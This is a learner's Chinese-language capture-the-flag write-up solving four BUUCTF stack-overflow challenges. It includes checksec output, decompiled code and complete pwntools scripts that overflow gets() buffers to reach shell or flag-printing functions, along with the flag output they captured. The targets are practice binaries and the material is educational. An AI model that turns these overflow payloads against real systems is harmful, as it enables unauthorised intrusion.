初学者。。用于记录学习过程与笔记。
test_your_nc
先用checksec
检查下:

-
RELRO
Partial
→ GOT 表可写(易被 GOT overwrite
攻击)。Full
时 GOT 只读更安全。
-
STACK CANARY
未启用
→ 栈溢出无检测,可直接覆盖返回地址。启用后栈破坏会崩溃。
-
NX
开启
→ 栈/堆不可执行。
-
PIE
开启
→ 代码地址随机化,需泄露地址。关闭则地址固定。
-
RPATH/RUNPATH
未设置
→ 无额外库路径,降低劫持风险。
-
Symbols
64
→ 保留符号(函数名等),易逆向分析。
-
FORTIFY
未启用
→ 无堆栈保护。
再拖到IDA Pro
里看看:

1
2
3
4
5
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
system("/bin/sh");
return 0;
}
|
直接调用system()
函数进入shell,所以直接使用netcat
连接靶机:

发现直接连接上了,根目录就有flag,得到:flag{b6588539-d35f-4fde-b2b9-8c56d7fb66bd}
rip
checksec
分析:
1
2
3
|
❯ checksec --file=./pwn1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 64 Symbols No 0 1 ./pwn1
|
IDA Pro
分析主函数:
1
2
3
4
5
6
7
8
9
10
11
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}
|
同时注意到fun()
函数:
1
2
3
4
|
int fun()
{
return system("/bin/sh");
}
|
gets()
函数不检查输入长度,所以可利用其来溢出s
,到达shellcode也就是fun()
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
.text:0000000000401186
.text:0000000000401186 ; Attributes: bp-based frame
.text:0000000000401186
.text:0000000000401186 ; int fun()
.text:0000000000401186 public fun
.text:0000000000401186 fun proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186 push rbp
.text:0000000000401187 mov rbp, rsp
.text:000000000040118A lea rdi, command ; "/bin/sh"
.text:0000000000401191 call _system
.text:0000000000401196 nop
.text:0000000000401197 pop rbp
.text:0000000000401198 retn
.text:0000000000401198 ; } // starts at 401186
.text:0000000000401198 fun endp
|
注意到shellcode位于40118A
,所以我们要让其执行这个地址的命令。
那么如何溢出呢?首先要填满s[15]
,也就是15个字节,与此同时,还需要添加8个字节来顶掉基指针寄存器rbp;
:
rbp (Base Pointer Register) 是x86-64架构中的基指针寄存器,用于标记当前函数栈帧的起始位置
每个函数调用都会在栈上保存前一个函数的RBP值 ,
这个保存操作占用固定的8字节空间,
在缓冲区溢出攻击中,这8字节是覆盖返回地址前必须越过的最后一个屏障,
x86架构是4字节,x64架构是8字节 → 这是64位系统的关键特征
所以构建payload:
1
|
payload = b'q'*23 + p64(0x40118A)
|
先发送23个q使其溢出,后面接上shellcodefun()
中终端函数的地址,尝试进入shell。
p64()
是 Python 中 pwntools 库的核心函数,用于将整数转换为64位小端序字节序列。在 pwn 漏洞利用中,它用于精确构造内存地址格式的 payload。
最终程序:
1
2
3
4
5
6
7
8
|
from pwn import *
host = "node5.buuoj.cn"
port = 25983
sh = remote(host, port)
payload = b'q'*23 + p64(0x40118A)
sh.sendline(payload)
sh.interactive()
|
详解:
新建一个sh
对象,用于连接靶机以及操作靶机;
remote()函数:pwntools的核心函数,用于创建TCP连接
sendline()
向靶机发送payload;
sendline():发送数据并在末尾自动添加 \n
(0x0A)
重要:因为原程序使用 gets()
函数,该函数以 \n
或 EOF 为结束标志
interactive():作用:在攻击成功后进入交互式shell
发送内容:
1
|
qqqqqqqqqqqqqqqqqqqqqqq + \x8A\x11\x40\x00\x00\x00\x00\x00 + \n
|
执行,获取到了shell,获得flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
PS C:\Users\root> & "D:/Program Files/python/python.exe" d:/CTF/项目/BUU/pwn/rip/hack.py
[x] Opening connection to node5.buuoj.cn on port 25983
[x] Opening connection to node5.buuoj.cn on port 25983: Trying 117.21.200.176
[+] Opening connection to node5.buuoj.cn on port 25983: Done
[*] Switching to interactive mode
ls
bin
boot
dev
etc
flag
home
...
var
cat flag
flag{7f35d897-a5fd-4505-84a7-2990b740f2d9}
|
warmup_csaw_2016
先checksec
:
1
2
3
|
❯ checksec --file='/home/wuko233/Desktop/pwn/warmup_csaw_2016/warmup_csaw_2016'
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 2 /home/wuko233/Desktop/pwn/warmup_csaw_2016/warmup_csaw_2016
|
分析程序:
1
2
3
4
5
6
7
8
9
10
11
12
|
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
|
1
2
3
4
|
int sub_40060D()
{
return system("cat flag.txt");
}
|
和上面一道题差不多,还是利用gets()
溢出,64+8=72,shellcode是sub_40060D
,地址就位于0x40060D
。
所以,payload就是:
1
|
payload = b'q'*72 + p64(0x40060D)
|
完整:
1
2
3
4
5
6
7
8
|
from pwn import *
host = "node5.buuoj.cn"
port = 29765
sh = remote(host, port)
payload = b'q'*72 + p64(0x40060D)
sh.sendline(payload)
sh.interactive()
|
直接得到了flag:
1
2
3
4
|
[*] Switching to interactive mode
>flag{110426c9-307c-4a2e-b763-73e47ca4a4fb}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
|
不过这道题其实应该不是这样做的。。因为主函数里sprintf(s, "%p\n", sub_40060D)
是用来打印出shellcode函数地址的,也就是泄露地址,但是它的PIE
未启用,也就是每次的地址都是固定的,这个语句就毫无意义了。
所以应该是这样的:
PIE
启用,每次运行时函数地址都是随机的,需要攻击者通过sprintf(s, "%p\n", sub_40060D)
来获取shellcode函数地址,再通过gets()
溢出进而执行shellcode。
按照这个思路,再写一个脚本:
1
2
3
4
5
6
7
8
9
10
11
12
|
from pwn import *
host = "node5.buuoj.cn"
port = 29765
sh = remote(host, port)
print(sh.recvuntil("WOW:")) # 接收直到出现"WOW:"
location = sh.recvline().strip().decode("UTF-8") #获取到字节串,转化为字符串并去除\n
print("函数地址:" + location)
payload = b'a'*72 + p64(int(location, 16)) #p64()需传入int,所以把地址字符串转换为16进制的int
sh.sendline(payload)
sh.interactive()
|
得到flag:
1
2
3
4
5
6
7
8
9
10
|
d:\CTF\项目\BUU\pwn\warmup_csaw_2016\hack.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
print(sh.recvuntil("WOW:"))
b'-Warm Up-\nWOW:'
函数地址:0x40060d
[*] Switching to interactive mode
>flag{110426c9-307c-4a2e-b763-73e47ca4a4fb}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
[*] Interrupted
[*] Closed connection to node5.buuoj.cn port 29765
|
ciscn_2019_n_1
和上面一样:
1
2
|
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 73 Symbols No 0 1 /home/wuko233/Desktop/pwn/
|
main
:
1
2
3
4
5
6
7
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}
|
func
:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
|
分析一下,shellcode必须满足v2值为11.28125,所以需要通过gets()
溢出来改变v2的值。
注意到:
1
2
|
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
|
在v1
的定义下就是v2
,所以可以溢出v1来修改v2的值。
v1长度为44,v2长度为4(float)。(byte)
这里补个笔记,长度判断也可以靠后面反编译的注释:
v1起始点:rbp-30h
v2起始点:rbp-4h
所以v1长度就是0x30(48)-0x4(4)=44
溢出v1还是和上面一样:'q'*44
接下来的主要问题是给v2赋值11.28125:
肯定是不能直接传进这个数的,因为它是浮点,我们需要传入字节,所以可以用struct
库:
Struct 模块用于在字节字符串和 Python 原生数据类型之间进行转换。它可以将 Python 数据打包成二进制数据,或将二进制数据解包成 Python 数据。
struct.pack() 函数可以将数据打包成二进制格式。格式字符串指定了数据的类型和顺序。
1
2
3
4
5
6
7
|
import struct
num = 11.28125
num2byte = struct.pack("f", num) # float类型转byte
print(f"{num} 转换结果:{num2byte}")
# 11.28125 转换结果:b'\x00\x804A'
|
综上可得payload:
1
2
3
4
|
num = 11.28125
num2byte = struct.pack("f", num)
print(f"{num} 转换结果:{num2byte}")
payload = b'q'*44 + num2byte
|
总体:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from pwn import *
import struct
host = "node5.buuoj.cn"
port = 25333
sh = remote(host, port)
num = 11.28125
num2byte = struct.pack("f", num)
print(f"{num} 转换结果:{num2byte}")
payload = b'q'*44 + num2byte
print(sh.recvuntil("Let's guess the number."))
sh.sendline(payload)
sh.interactive()
|
拿到flag:
1
2
3
4
5
|
b"Let's guess the number."
[*] Switching to interactive mode
flag{3214184b-a04b-419e-b114-52e08022514e}
[*] Got EOF while reading in interactive
|
主包主包,float转byte还是太麻烦,有没有更简单粗暴一点的方法?有的兄弟,有的:
1
2
3
|
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
|
既然你源码里有system("cat /flag")
,那我们可不可以直接覆盖到这个shellcode的地址,直接执行shellcode?答案是肯定的!
先来查查shellcode地址:
1
|
.text:00000000004006BE mov edi, offset command ; "cat /flag"
|
得到地址:0x4006BE
;
已知v1长44,v2长4,旧rbp长8,那我问你,需要顶掉多少byte?没错,也就是44+4+8=56!
再来构建payload:
1
|
payload = b'q'*56 + p64(0x4006BE)
|
EZ,拿到了!
1
2
3
4
5
6
7
|
b"Let's guess the number."
[*] Switching to interactive mode
Its value should be 11.28125
flag{47e47e55-73c9-4c29-98cc-8e3e879669ec}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
|
完整脚本:
1
2
3
4
5
6
7
8
9
10
11
12
|
from pwn import *
import struct
host = "node5.buuoj.cn"
port = 26748
sh = remote(host, port)
payload = b'q'*56 + p64(0x4006BE)
print(sh.recvuntil("Let's guess the number."))
sh.sendline(payload)
sh.interactive()
|